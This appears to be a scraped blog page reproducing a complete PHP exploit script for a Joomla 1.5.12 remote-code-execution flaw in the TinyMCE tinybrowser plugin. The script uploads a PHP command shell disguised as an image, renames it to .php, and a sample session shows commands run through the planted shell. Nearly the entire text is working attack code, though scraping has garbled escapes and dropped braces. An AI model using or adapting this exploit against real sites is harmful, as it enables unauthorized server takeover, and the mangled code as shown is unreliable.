天天看點

Joomla 1.5.12 RCE via TinyMCE upload vulnerability

<code>&lt;?php</code>

<code> </code> 

<code>/**</code>

<code> </code><code>** Joomla 1.5.12 Remote Code Execution via TinyMCE upload vulnerability</code>

<code> </code><code>**</code>

<code> </code><code>** Tested against :</code>

<code> </code><code>** - Joomla 1.5.12 / Ubuntu 8.10 / Apache 2.2.9</code>

<code> </code><code>** - Joomla 1.5.12 / Windows XP SP2 / Apache 2.2.12</code>

<code> </code><code>**  Luca "daath" De Fulgentis - daath [at] nibblesec.org</code>

<code> </code><code>**  http://blog.nibblesec.org</code>

<code> </code><code>**/</code>

<code>/*</code>

<code>daath@shaytan:~$ php pwnoomla.php localhost /joomla</code>

<code> </code><code>[-] Joomla 1.5.12 RCE via TinyMCE upload vulnerability [-]</code>

<code> </code><code>[#] Attacking localhost:80/joomla/</code>

<code> </code><code>[+] Web root pathname is : /var/www/</code>

<code> </code><code>[+] Magic token is a8de65e217ed779dbda80eb04502a2da</code>

<code> </code><code>[#] Creating remote directory ... DONE</code>

<code> </code><code>[#] Uploading image ... DONE</code>

<code> </code><code>[#] Renaming image's extension (takes a while) ... PWNED!</code>

<code> </code><code>[+] Here is the php shell : /joomla/images/stories/i208661849/shell.php</code>

<code>daath@shaytan:~$ echo -e "GET /joomla/images/stories/i208661849/shell.php?cmd=ls%20-al%20shell.php HTTP/1.0/n/n" | nc localhost 80</code>

<code>HTTP/1.1 200 OK</code>

<code>Date: Mon, 28 Sep 2009 10:39:43 GMT</code>

<code>Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.3 with Suhosin-Patch</code>

<code>X-Powered-By: PHP/5.2.6-2ubuntu4.3</code>

<code>Vary: Accept-Encoding</code>

<code>Connection: close</code>

<code>Content-Type: text/html</code>

<code>-rw-r--r-- 1 www-data www-data 54 Sep 28 12:39 shell.php</code>

<code>daath@shaytan:~$ </code>

<code>*/</code>

<code> </code><code>$host</code> <code>=</code><code>"localhost"</code><code>;</code>

<code> </code><code>$port</code> <code>=</code><code>"80"</code><code>;</code>

<code> </code><code>$install_path</code> <code>=</code><code>"/"</code><code>;</code>

<code> </code><code>$path</code>    <code>=</code><code>"/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser"</code><code>;</code>

<code> </code><code>$dir</code>     <code>=</code><code>"/tinybrowser.php?type=image&amp;folder="</code><code>;</code>

<code> </code><code>$upload</code>  <code>=</code><code>"/upload_file.php"</code><code>;</code>

<code> </code><code>$rename</code>  <code>=</code><code>"/edit.php?type=file&amp;folder="</code><code>;</code>

<code> </code><code>/*</code>

<code>  </code><code>* PHP shell</code>

<code>  </code><code>*/</code>

<code> </code><code>$php_shell</code> <code>=</code><code>"&lt;?php if(isset(/$_GET[/"cmd/"])) system(/$_GET[/"cmd/"]); ?&gt;"</code><code>;</code>

<code> </code><code>echo</code> <code>"/n [-] Joomla 1.5.12 RCE via TinyMCE upload vulnerability [-]/n/n"</code><code>;</code>

<code> </code><code>if</code><code>(</code><code>$argc</code> <code>&lt; 2) {</code>

<code>  </code><code>echo</code> <code>" Usage: php {$argv[0]} host joomla_install_path/n"</code><code>;</code>

<code>  </code><code>echo</code> <code>" Example : php {$argv[0]} localhost /joomla/ /n/n"</code><code>;</code>

<code>  </code><code>exit</code><code>(1);</code>

<code> </code><code>}</code>

<code> </code><code>$host</code> <code>=</code><code>$argv</code><code>[1];</code>

<code> </code><code>if</code><code>(</code><code>$argc</code> <code>== 3) {</code>

<code>  </code><code>$install_path</code> <code>=</code><code>$argv</code><code>[2][0] ==</code><code>"/"</code> <code>?</code><code>$argv</code><code>[2] :</code><code>"/"</code><code>.</code><code>$argv</code><code>[2];</code>

<code>  </code><code>$install_path</code> <code>=</code><code>$argv</code><code>[2][</code><code>strlen</code><code>(</code><code>$install_path</code><code>)-1] ==</code><code>"/"</code> <code>?</code><code>$install_path</code> <code>:</code><code>$install_path</code><code>.</code><code>"/"</code><code>;</code>

<code> </code><code>echo</code> <code>" [#] Attacking {$host}:{$port}{$install_path}/n"</code><code>;</code>

<code> </code><code>$resp</code> <code>= HTTPRequest(</code><code>"GET {$install_path}/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/tinybrowser.php HTTP/1.0/r/n/r/n"</code><code>);</code>

<code> </code><code>if</code><code>(</code><code>strstr</code><code>(</code><code>$resp</code><code>,</code><code>"Restricted access"</code><code>)) {</code>

<code>  </code><code>die</code><code>(</code><code>" [-] Joomla is NOT vulnerable, exiting./n/n"</code><code>);</code>

<code> </code><code>$webroot</code> <code>= get_webroot_pathname();</code>

<code> </code><code>if</code><code>(</code><code>$webroot</code> <code>==</code><code>""</code><code>) {</code>

<code>  </code><code>die</code><code>(</code><code>" [-] Web root pathname NOT FOUND, exiting./n/n"</code><code>);</code>

<code>  </code> 

<code> </code><code>echo</code> <code>" [+] Web root pathname is : {$webroot}/n"</code><code>;</code>

<code> </code><code>$seed</code> <code>= md5(</code><code>$webroot</code> <code>.</code><code>"s0merand0mjunk!!!111"</code><code>);</code>

<code> </code><code>echo</code> <code>" [+] Magic token is {$seed}/n"</code><code>;</code>

<code> </code><code>$my_dir</code> <code>=</code><code>"i"</code> <code>. rand();</code>

<code> </code><code>echo</code> <code>" [#] Creating remote directory ... "</code><code>;</code>

<code> </code><code>$resp</code> <code>= HTTPRequest(</code><code>"GET {$install_path}{$path}{$dir}/{$my_dir} HTTP/1.0/r/n/r/n"</code><code>);</code>

<code> </code><code>if</code><code>(!</code><code>strstr</code><code>(</code><code>$resp</code><code>,</code><code>"directory has been successfully created"</code><code>)) {</code>

<code>  </code><code>die</code><code>(</code><code>"FAILED/n [-] Error - creating directory, exiting./n/n"</code><code>);</code>

<code> </code><code>echo</code> <code>"DONE/n"</code><code>;</code>

<code> </code><code>$my_shell</code> <code>= md5(time());</code>

<code> </code><code>echo</code> <code>" [#] Uploading image ... "</code><code>;</code>

<code> </code><code>$data</code>  <code>=</code><code>"--1234567/r/n"</code><code>;</code>

<code> </code><code>$data</code> <code>.=</code><code>"Content-Disposition: form-data; name=/"Filedata/"; filename=/"{$my_shell}.png/"/r/n/r/n"</code><code>;</code>

<code> </code><code>$data</code> <code>.=</code><code>"{$php_shell}/r/n"</code><code>;</code>

<code> </code><code>$data</code> <code>.=</code><code>"--1234567--/r/n"</code><code>;</code>

<code> </code><code>$req</code>  <code>=</code><code>"POST {$install_path}{$path}{$upload}"</code> <code>.</code><code>"?obfuscate={$seed}&amp;type=file&amp;folder={$install_path}images/stories/{$my_dir} HTTP/1.1/r/n"</code><code>;</code>

<code> </code><code>$req</code> <code>.=</code><code>"Host: {$host}/r/n"</code><code>;</code>

<code> </code><code>$req</code> <code>.=</code><code>"Content-Length: "</code><code>.</code><code>strlen</code><code>(</code><code>$data</code><code>).</code><code>"/r/n"</code><code>;</code>

<code> </code><code>$req</code> <code>.=</code><code>"Content-Type: multipart/form-data; boundary=1234567/r/n"</code><code>;</code>

<code> </code><code>$req</code> <code>.=</code><code>"Connection: close/r/n/r/n"</code><code>;</code>

<code> </code><code>$req</code> <code>.=</code><code>$data</code><code>; </code>

<code> </code><code>$resp</code> <code>= HTTPRequest(</code><code>$req</code><code>);</code>

<code> </code><code>if</code> <code>(!</code><code>strstr</code><code>(</code><code>$resp</code><code>,</code><code>"File Upload Success"</code><code>)) {</code>

<code>  </code><code>die</code><code>(</code><code>"FAILED/n [-] Error - image uploading, exiting./n/n"</code><code>);</code>

<code> </code><code>echo</code> <code>" [#] Renaming image's extension (takes a while) ... "</code><code>;</code>

<code> </code><code>$data</code>  <code>=</code><code>"actionfile%5B0%5D={$my_shell}.png_&amp;renameext%5B0%5D=php&amp;renamefile%5B0%5D=shell.&amp;sortby=name"</code><code>;</code>

<code> </code><code>$data</code> <code>.=</code><code>"&amp;sorttype=asc&amp;find=&amp;showpage=0&amp;action=rename&amp;commit=/r/n/r/n"</code><code>;</code>

<code> </code><code>$req</code>  <code>=</code><code>"POST {$install_path}{$path}/edit.php?type=image&amp;folder={$my_dir}%2F HTTP/1.1/n"</code><code>;</code>

<code> </code><code>$req</code> <code>.=</code><code>"Content-Type: application/x-www-form-urlencoded/r/n"</code><code>;</code>

<code> </code><code>$req</code> <code>.=</code><code>"Content-Length: "</code> <code>.</code><code>strlen</code><code>(</code><code>$data</code><code>) .</code><code>"/r/n/r/n"</code><code>;</code>

<code> </code><code>$req</code> <code>.=</code><code>$data</code><code>;</code>

<code> </code><code>if</code><code>(!</code><code>strstr</code><code>(</code><code>$resp</code><code>,</code><code>"1 files have been successfully renamed"</code><code>)) {</code>

<code>  </code><code>die</code><code>(</code><code>"FAILED/n [-] Error - image's extension renaming, exiting./n"</code><code>);</code>

<code> </code><code>echo</code> <code>"PWNED!/n"</code><code>;</code>

<code> </code><code>echo</code> <code>" [+] Here is the php shell : {$install_path}images/stories/{$my_dir}/shell.php/n/n"</code><code>;</code>

<code> </code><code>exit</code><code>;</code>

<code> </code><code>function</code> <code>get_webroot_pathname() {</code>

<code>  </code><code>global</code> <code>$install_path</code><code>;</code>

<code>  </code><code>$resp</code> <code>= HTTPRequest(</code><code>"GET {$install_path}/libraries/joomla/utilities/compat/php50x.php HTTP/1./r/n/r/n"</code><code>);</code>

<code>  </code><code>$pos1</code> <code>=</code><code>strpos</code><code>(</code><code>$resp</code><code>,</code><code>"in &lt;b&gt;"</code><code>);</code>

<code>  </code><code>$pos2</code> <code>=</code><code>strpos</code><code>(</code><code>$resp</code><code>,</code><code>"libraries"</code><code>);</code>

<code>  </code><code>if</code><code>(</code><code>$pos1</code> <code>=== false ||</code><code>$pos2</code> <code>=== false)</code>

<code>   </code><code>return</code> <code>""</code><code>;</code>

<code>  </code><code>$init</code> <code>=</code><code>$pos1</code> <code>+</code><code>strlen</code><code>(</code><code>"in &lt;b&gt;"</code><code>);</code>

<code>  </code><code>$str</code> <code>=</code><code>substr</code><code>(</code><code>$resp</code><code>,</code><code>$init</code><code>,</code><code>$pos2</code><code>-</code><code>$init</code><code>);</code>

<code>  </code><code>if</code><code>(</code><code>$install_path</code> <code>!=</code><code>"/"</code><code>) {</code>

<code>   </code><code>$install_path2</code> <code>=</code><code>str_replace</code><code>(</code><code>"/"</code><code>,</code><code>""</code><code>,</code><code>$install_path</code><code>);</code>

<code>   </code><code>$pos1</code> <code>=</code><code>strrpos</code><code>(</code><code>$str</code><code>,</code><code>$install_path2</code><code>);</code>

<code>   </code><code>if</code><code>(</code><code>$pos1</code> <code>=== false)</code>

<code>    </code><code>return</code> <code>""</code><code>;</code>

<code>   </code><code>$str</code> <code>=</code><code>substr</code><code>(</code><code>$str</code><code>, 0,</code><code>$pos1</code><code>-1);</code>

<code>  </code><code>}</code>

<code>  </code><code>if</code><code>(</code><code>$str</code><code>[</code><code>strlen</code><code>(</code><code>$str</code><code>)-1] ==</code><code>"//"</code><code>)</code>

<code>   </code><code>$str</code> <code>=</code><code>substr</code><code>(</code><code>$str</code><code>, 0,</code><code>$pos</code><code>-1);</code>

<code>  </code><code>if</code><code>(</code><code>strstr</code><code>(</code><code>$str</code><code>,</code><code>"/"</code><code>) &amp;&amp;</code><code>$str</code><code>[</code><code>strlen</code><code>(</code><code>$str</code><code>)-1] !=</code><code>"/"</code><code>)</code>

<code>   </code><code>$str</code> <code>=</code><code>$str</code> <code>.</code><code>"/"</code><code>;</code>

<code>  </code><code>$pathname</code> <code>=</code><code>str_replace</code><code>(</code><code>"//"</code><code>,</code><code>"/"</code><code>,</code><code>$str</code><code>);</code>

<code>  </code><code>return</code> <code>$pathname</code><code>;</code>

<code> </code><code>function</code> <code>HTTPRequest(</code><code>$req</code><code>) {</code>

<code>  </code><code>global</code> <code>$host</code><code>,</code><code>$port</code><code>;</code>

<code>  </code><code>$s</code> <code>= @</code><code>fsockopen</code><code>(</code><code>$host</code><code>,</code><code>$port</code><code>,</code><code>$errno</code><code>,</code><code>$errstr</code><code>, 10);</code>

<code>  </code><code>if</code><code>(!</code><code>$s</code><code>) {</code>

<code>   </code><code>die</code><code>(</code><code>"/n [-] Error in connection, exiting./n/n"</code><code>);</code>

<code>  </code><code>fputs</code><code>(</code><code>$s</code><code>,</code><code>$req</code><code>);</code>

<code>  </code><code>$resp</code> <code>=</code><code>""</code><code>;</code>

<code>  </code><code>while</code><code>(!</code><code>feof</code><code>(</code><code>$s</code><code>)) {</code>

<code>   </code><code>$resp</code> <code>.=</code><code>fgets</code><code>(</code><code>$s</code><code>);</code>

<code>  </code><code>fclose(</code><code>$s</code><code>);</code>

<code>  </code><code>return</code> <code>$resp</code><code>;</code>

<code>?&gt;</code>